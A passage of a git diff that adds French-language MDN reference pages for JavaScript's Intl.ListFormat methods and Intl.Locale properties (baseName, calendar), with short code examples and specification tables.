+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/formatToParts
+---
+<div>{{JSRef}}{{Draft}}</div>
+
+<p>La méthode <strong><code>Intl.ListFormat.prototype.formatToParts()</code></strong> renvoie un tableau ({{jsxref("Array")}}) d'objets représentants les différentes composantes de la chaine de caractères qui est le résultat du formatage de la liste (selon les options de locale et de style indiquées).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Intl.ListFormat.prototype.formatToParts(<var>list</var>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>list</code></dt>
+ <dd>Un tableau ({{jsxref("Array")}}) de valeurs à mettre en forme selon une locale et des options de style.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau ({{jsxref("Array")}}) de fragments composants la chaîne de caractères pour la liste formatée.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Alors que la méthode {{jsxref("ListFormat.prototype.format()", "Intl.ListFormat.prototype.format()")}} renvoie une chaîne de caractères avec la liste formatée (en fonction de la locale et des options de style), <code>formatToParts()</code> renvoie un tableau des différentes composantes de cette chaîne.</p>
+
+<p>Chaque élément du tableau résultant possède deux propriétés : <code>type</code> et <code>value</code>. La propriété <code>type</code> pourra valoir <code>"element"</code> (pour indiquer une valeur de la liste) ou <code>"literal"</code> (pour indiquer un élément linguistique). La propriété <code>value</code> fournit quant à elle le contenu du fragment sous forme d'une chaîne de caractères.</p>
+
+<p>Les options de locale et de style utilisées pour le formatage sont fournies lors de la construction de l'instance {{jsxref("ListFormat", "Intl.ListFormat")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">const fruits = ['Apple', 'Orange', 'Pineapple'];
+const myListFormat = new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' });
+
+console.table(myListFormat.formatToParts(fruits));
+// [
+//  { "type": "element", "value": "Apple" },
+//  { "type": "literal", "value": ", " },
+//  { "type": "element", "value": "Orange" },
+//  { "type": "literal", "value": ", and " },
+//  { "type": "element", "value": "Pineapple" }
+// ]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.prototype.formatToParts"><code>Intl.ListFormat.prototype.formatToParts</code> proposal</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.ListFormat.formatToParts")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+ <li>{{jsxref("ListFormat.prototype.format()", "Intl.ListFormat.prototype.format()")}}</li>
+ <li>{{jsxref("RelativeTimeFormat.formatToParts()", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}</li>
+ <li>{{jsxref("NumberFormat.formatToParts()", "Intl.NumberFormat.prototype.formatToParts()")}}</li>
+ <li>{{jsxref("DateTimeFormat.formatToParts()", "Intl.DateTimeFormat.prototype.formatToParts()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html
new file mode 100644
index 0000000000..03dac95c7f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html
@@ -0,0 +1,153 @@
+---
+title: Intl.ListFormat
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat
+tags:
+  - Experimental
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - ListFormat
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.ListFormat</code></strong> est un constructeur d'objets qui permettent de formater des listes de façon différente selon la langue utilisée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new Intl.ListFormat([<var>locales</var>[, <var>options</var>]])
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code>{{optional_inline}}</dt>
+ <dd>
+ <p>Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument <code>locales</code>, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.</p>
+ </dd>
+ <dt><code>options</code>{{optional_inline}}</dt>
+ <dd>
+ <p>Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code> ; le défaut est <code>"best fit"</code>. Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}.</dd>
+  <dt><code>type</code></dt>
+  <dd>Le format de sortie pour le message. Les valeurs possibles sont :
+  <ul>
+   <li><code>"conjunction"</code> : qui concaténera les éléments de la liste avec des <em>et</em>. Cela produira par exemple, en anglais : <code>A, B, and C</code></li>
+   <li><code>"disjunction"</code> : qui concaténera les éléments de la liste avec des <em>ou</em>. Cela produira par exemple, en anglais : <code>A, B, or C</code></li>
+   <li><code>"unit"</code> : qui permet de gérer des listes de valeurs avec des unités. Cela produira par exemple <code>5 livres, 12 onces</code></li>
+  </ul>
+  </dd>
+  <dt><code>style</code></dt>
+  <dd>Le niveau de concision/longueur du message obtenu. Les valeurs possibles sont :
+  <ul>
+   <li><code>"long"</code> : par exemple <code>A, B, and C</code></li>
+   <li><code>"narrow"</code> : cette valeur permet uniquement d'utiliser le type <code>unit</code> et affichera un message concis : par exemple <code>A, B, C</code></li>
+   <li><code>"short"</code> : par exemple <code>A, B, C</code></li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<dl>
+ <dt>{{jsxref("ListFormat.prototype", "Intl.ListFormat.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à l'ensemble des objets de ce type.</dd>
+</dl>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("ListFormat.supportedLocalesOf", "Intl.ListFormat.supportedLocalesOf()")}}</dt>
+ <dd>Cette méthode renvoie un tableau des locales prises en charge par le moteur pour le formatage des heures sans qu'il y ait besoin d'utiliser la locale de l'environnement d'exécution.</dd>
+</dl>
+
+<h2 id="Instances_de_Intl.ListFormat">Instances de <code>Intl.ListFormat</code></h2>
+
+<p>Toutes les instances de <code>Intl.ListFormat</code> héritent de <code>Intl.ListFormat.prototype</code>.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Intl.ListFormat.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui crée le prototype d'un objet.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("ListFormat.prototype.format","Intl.ListFormat.prototype.format()")}}</dt>
+ <dd>Renvoie une chaîne de caractères mise en forme selon la langue voulue et qui représente les éléments de la liste.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_format()">Utiliser <code>format()</code></h3>
+
+<p>Dans l'exemple qui suit, on voit comment créer un formateur de liste pour l'anglais.</p>
+
+<pre class="brush: js">const list = ['Motorcycle', 'Bus', 'Car'];
+
+ console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).format(list));
+// &gt; Motorcycle, Bus and Car
+
+ console.log(new Intl.ListFormat('en-GB', { style: 'short', type: 'disjunction' }).format(list));
+// &gt; Motorcycle, Bus or Car
+
+ console.log(new Intl.ListFormat('en-GB', { style: 'narrow', type: 'unit' }).format(list));
+// &gt; Motorcycle Bus Car
+</pre>
+
+<h3 id="Utiliser_formatToParts()">Utiliser <code>formatToParts()</code></h3>
+
+<p>Dans l'exemple qui suit, on voit comment créer un formateur de liste, renvoyant les fragments, pour l'anglais</p>
+
+<pre class="brush: js">const list = ['Motorcycle', 'Bus', 'Car'];
+console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).formatToParts(list));
+
+// &gt; [ { "type": "element", "value": "Motorcycle" },
+       { "type": "literal", "value": ", " },
+       { "type": "element", "value": "Bus" },
+       { "type": "literal", "value": ", and " },
+       { "type": "element", "value": "Car" } ];
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-list-format/#listformat-objects">Proposition pour <code>Intl.ListFormat</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.ListFormat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}</div>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html
new file mode 100644
index 0000000000..f0cf5ca0f5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html
@@ -0,0 +1,62 @@
+---
+title: Intl.ListFormat.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/prototype
+tags:
+  - Experimental
+  - Intl
+  - Intl.ListFormat
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.ListFormat.prototype</code></strong> représente l'objet prototype utilisé par le constructeur {{jsxref("ListFormat", "Intl.ListFormat")}}.</p>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Voir la page {{jsxref("ListFormat")}} pour une description des instances de <code>Intl.ListFormat</code>.</p>
+
+<p>Les instances {{jsxref("ListFormat", "Intl.ListFormat")}} héritent de <code>Intl.ListFormat.prototype</code>. Les modifications apportées au prototypes seront héritées par les instances {{jsxref("ListFormat", "Intl.ListFormat")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Intl.<font face="consolas, Liberation Mono, courier, monospace">ListFormat</font>.prototype.constructor</code></dt>
+ <dd>Une référence à {{jsxref("ListFormat", "Intl.ListFormat()")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.prototype">Proposition pour <code>Intl.ListFormat.prototype</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.ListFormat.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html
new file mode 100644
index 0000000000..3b0f36ea4e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html
@@ -0,0 +1,82 @@
+---
+title: Intl​.List​Format​.prototype​.resolvedOptions()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/resolvedOptions
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - ListFormat
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/resolvedOptions
+---
+<div>{{JSRef}}{{Draft}}</div>
+
+<p>La méthode  <code><strong>Intl.ListFormat.prototype.resolvedOptions()</strong></code> renvoie un nouvel objet dont les propriétés reflètent les options de locale et de style calculées à l'initialisation de l'objet {{jsxref("ListFormat")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>listFormat</var>.resolvedOptions()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet dont les propriétés reflètent les options de locale et de style calculées lors de l'initialisation de l'objet {{jsxref("ListFormat")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet renvoyé par <code>resolvedOptions()</code> possède les propriétés suivantes :</p>
+
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans <code>locale</code>.</dd>
+ <dt><code>style</code></dt>
+ <dd>La valeur fournie au constructeur via l'argument <code>options</code> ou la valeur utilisée par défaut (<code>"long"</code>). Cette propriété peut valoir <code>"long"</code>, <code>"short"</code> ou <code>"narrow"</code>.</dd>
+ <dt><code>type</code></dt>
+ <dd>La valeur fournie au constructeur via l'argument <code>options</code> ou la valeur par défaut (<code>"conjunction"</code>). Cette propriété peut valoir <code>"conjunction"</code>, <code>"disjunction"</code> ou <code>"unit"</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">const deListFormatter = new Intl.ListFormat("de-DE", { style: "short" });
+
+const usedOptions = de.resolvedOptions();
+console.log(usedOptions.locale); // "de-DE"
+console.log(usedOptions.style);  // "short"
+console.log(usedOptions.type);   // "conjunction" (la valeur par défaut)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.prototype.resolvedOptions">Proposition pour <code>Intl.ListFormat.prototype.resolvedOptions()</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.ListFormat.resolvedOptions")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+ <li>{{jsxref("NumberFormat.prototype.resolvedOptions()", "Intl.NumberFormat.prototype.resolvedOptions()")}}</li>
+ <li>{{jsxref("Collator.prototype.resolvedOptions()", "Intl.Collator.prototype.resolvedOptions()")}}</li>
+ <li>{{jsxref("DateTimeFormat.prototype.resolvedOptions()", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}</li>
+ <li>{{jsxref("PluralRules.prototype.resolvedOptions()", "Intl.PluralRules.prototype.resolvedOptions()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html
new file mode 100644
index 0000000000..90abe4f56d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html
@@ -0,0 +1,88 @@
+---
+title: Intl.ListFormat.supportedLocalesOf()
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/supportedLocalesOf
+tags:
+  - Intl
+  - JavaScript
+  - ListFormat
+  - Méthode
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/supportedLocalesOf
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Intl.ListFormat.supportedLocalesOf()</code></strong> renvoie, parmi les locales fournies, un tableau contenant les locales supportées pour le formatage des listes et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre>Intl.ListFormat.supportedLocalesOf(<var>locales</var>[, <var>options</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>Une chaîne de caractères qui est une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations concernant la forme générale de l'argument <code>locales</code>, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.</dd>
+ <dt><code>options</code>{{optional_inline}}</dt>
+ <dd>
+ <p>Paramètre facultatif. Un objet qui peut posséder les propriétés suivantes :</p>
+
+ <dl>
+  <dt><code>localeMatcher</code></dt>
+  <dd>
+  <p>L'algorithme utilisé pour la correspondance entre chaînes de caractères. Les valeurs possibles sont <code>"lookup"</code> et <code>"best fit"</code>. La valeur par défaut est <code>"best fit"</code>. Pour plus d'informations, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}.</p>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langues qui sont prises en charge pour le formatage des listes sans qu'il faille utiliser la locale par défaut de l'environnement d'exécution.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locales fournies avec l'argument <code>locales</code>. Les balises renvoyées sont celles supportées par l'environnement navigateur en termes de formatage des listes et qui ne nécessitent pas d'utiliser la locale par défaut.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_supportedLocalesOf">Utiliser <code>supportedLocalesOf</code></h3>
+
+<p>Si on dispose d'un environnement (un navigateur par exemple) qui supporte le formatage des listes dans les locales indonésienne, allemande mais pas balinaise,  <code>supportedLocalesOf</code> renvoie les balises pour l'indonésien et l'allemand quand bien même le formatage des listes pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme <code>"lookup"</code>. SI on utilisait <code>"best fit"</code> pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien.</p>
+
+<pre class="brush: js">const locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
+const options = { localeMatcher: 'lookup' };
+console.log(Intl.ListFormat.supportedLocalesOf(locales, options).join(', '));
+// → "id-u-co-pinyin, de-ID"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-list-format/#sec-Intl.ListFormat.supportedLocalesOf">Proposition pour <code>Intl.ListFormat.supportedLocalesOf</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.ListFormat.supportedLocalesOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("ListFormat", "Intl.ListFormat")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html
new file mode 100644
index 0000000000..6b20ebee57
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html
@@ -0,0 +1,75 @@
+---
+title: Intl.Locale.prototype.baseName
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/baseName
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/baseName
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.Locale.prototype.baseName</code></strong> renvoie un extrait de la chaîne de caractères représentant l'objet <code>Locale</code>. Cet extrait contient les informations essentielles à propos de l'objet <code>Locale</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un objet <code>Intl.Locale</code> représente une locale ainsi que des options qui lui sont associées. La propriété <code>baseName</code> renvoie des informations essentielles quant à la locale sous la forme d'une chaîne de caractères. Cette chaîne est un extrait de la représentation textuelle complète de l'objet <code>Locale</code>. Cet extrait contient notamment la langue, le script utilisé ainsi que la région (s'ils sont disponibles).</p>
+
+<p>Si on utilise <a href="https://www.unicode.org/reports/tr35/#Identifiers">la grammaire Unicode</a>, <code>baseName</code> renvoie la sous-séquence <code>language ["-" script] ["-" region] *("-" variant)</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<pre class="brush: js">let myLoc = new Intl.Locale("fr-Latn-CA"); // Sets locale to Candanian French
+console.log(myLoc.toString()); // Prints out "fr-Latn-CA-u-ca-gregory"
+console.log(myLoc.baseName); // Prints out "fr-Latn-CA"</pre>
+
+<h3 id="Exemple_avec_certaines_options">Exemple avec certaines options</h3>
+
+<pre class="brush: js">// Sets language to Japanese, region to Japan,
+
+// calendar to Gregorian, hour cycle to 24 hours
+let japan = new Intl.Locale("ja-JP-u-ca-gregory-hc-24");
+console.log(japan.toString()); // Prints out "ja-JP-u-ca-gregory-hc-h24"
+console.log(japan.baseName); // Prints out "ja-JP"</pre>
+
+<h3 id="Exemple_avec_options_qui_surchargent">Exemple avec options qui surchargent</h3>
+
+<pre class="brush: js">// Input string indicates language as Dutch and region as Belgium,
+
+// but options object overrides the region and sets it to the Netherlands
+let dutch = new Intl.Locale("nl-Latn-BE", {region: "NL"});
+
+console.log(dutch.baseName); // Prints out "nl-Latn-NL"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-intl-locale/#sec-Intl.Locale.prototype.baseName">Proposition pour <code>Intl.Locale.prototype.baseName</code></a></td>
+   <td>Proposition de niveau 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<div>{{Compat("javascript.builtins.Intl.Locale.baseName")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Locale", "Intl.Locale")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html
new file mode 100644
index 0000000000..cbe7f8db93
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html
@@ -0,0 +1,156 @@
+---
+title: Intl.Locale.prototype.calendar
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/calendar
+tags:
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Locale
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/calendar
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Intl.Locale.prototype.calendar</code></strong> est une propriété (via un accesseur) qui renvoie le type de calendrier utilisé par l'instance de <code>Locale</code>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>calendar</code> renvoie la partie de la locale qui indique le calendrier utilisé. Bien que la plupart des régions utilise le calendrier grégorien, il existe différents calendriers utilisés. Le tableau qui suit indique les clés Unicode pour les différents calendriers ainsi qu'une description.</p>
+
+<table class="standard-table">
+ <caption>Clés Unicode pour les calendriers</caption>
+ <thead>
+  <tr>
+   <th scope="col">Clé Unicode</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>buddhist</code></td>
+   <td>Calendrier bouddhiste</td>
+  </tr>
+  <tr>
+   <td><code>chinese</code></td>
+   <td>Calendrier chinois traditionnel</td>
+  </tr>
+  <tr>
+   <td><code>coptic</code></td>
+   <td>Calendrier copte</td>
+  </tr>
+  <tr>
+   <td><code>dangi</code></td>
+   <td>Calendrier coréen traditionnel</td>
+  </tr>
+  <tr>
+   <td><code>ethioaa</code></td>
+   <td>Calendrier éthiopique, Amete Alem (an 0 situé environ à  5493 ans avant notre ère)</td>
+  </tr>
+  <tr>
+   <td><code>ethiopic</code></td>
+   <td>Calendrier éthiopique, Amete Mihret (an 0 situé environ à 8 ans de notre ère)</td>
+  </tr>
+  <tr>
+   <td><code>gregory</code></td>
+   <td>Calendrier grégorien</td>
+  </tr>
+  <tr>
+   <td><code>hebrew</code></td>
+   <td>Calendrier traditionnel hébreux</td>
+  </tr>
+  <tr>
+   <td><code>indian</code></td>
+   <td>Calendrier indien</td>
+  </tr>
+  <tr>
+   <td><code>islamic</code></td>
+   <td>Calendrier islamique</td>
+  </tr>
+  <tr>
+   <td><code>islamic-umalqura</code></td>
+   <td>Calendrier islamique, Umm al-Qura</td>
+  </tr>
+  <tr>
+   <td><code>islamic-tbla</code></td>
+   <td>Calendrier islamique tabulaire (années intercalaires [2,5,7,10,13,16,18,21,24,26,29] - origine des temps astronomique)</td>
+  </tr>
+  <tr>
+   <td><code>islamic-civil</code></td>
+   <td>Calendrier islamique tabulaire (années intercalaires [2,5,7,10,13,16,18,21,24,26,29] - origine des temps civile)</td>
+  </tr>
+  <tr>
+   <td><code>islamic-rgsa</code></td>
+   <td>Calendrier islamique vu de l'Arabie saoudite</td>
+  </tr>
+  <tr>
+   <td><code>iso8601</code></td>
+   <td>Calendrier ISO (calendrier grégorien utilisant la numérotation des semaines ISO 8601)</td>
+  </tr>
+  <tr>
+   <td><code>japanese</code></td>
+   <td>Calendrier japonais impérial</td>
+  </tr>
+  <tr>
+   <td><code>persian</code></td>
+   <td>Calendrier perse</td>
+  </tr>
+  <tr>
+   <td><code>roc</code></td>
+   <td>Calendrier de la République de Chine</td>
+  </tr>
+  <tr>
+   <td>
+    <div class="blockIndicator warning">La clé  <code>islamicc</code> est désormais dépréciée et il faut utiliser <code>islamic-civil</code> à la place.</div>
+
+    <p><code>islamicc</code></p>
+   </td>
+   <td>Calendrier arabe civil (algorithmique)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Indiquer_le_calendrier_via_la_chaîne_de_définition_de_la_locale">Indiquer le calendrier via la chaîne de définition de la locale</h3>
+
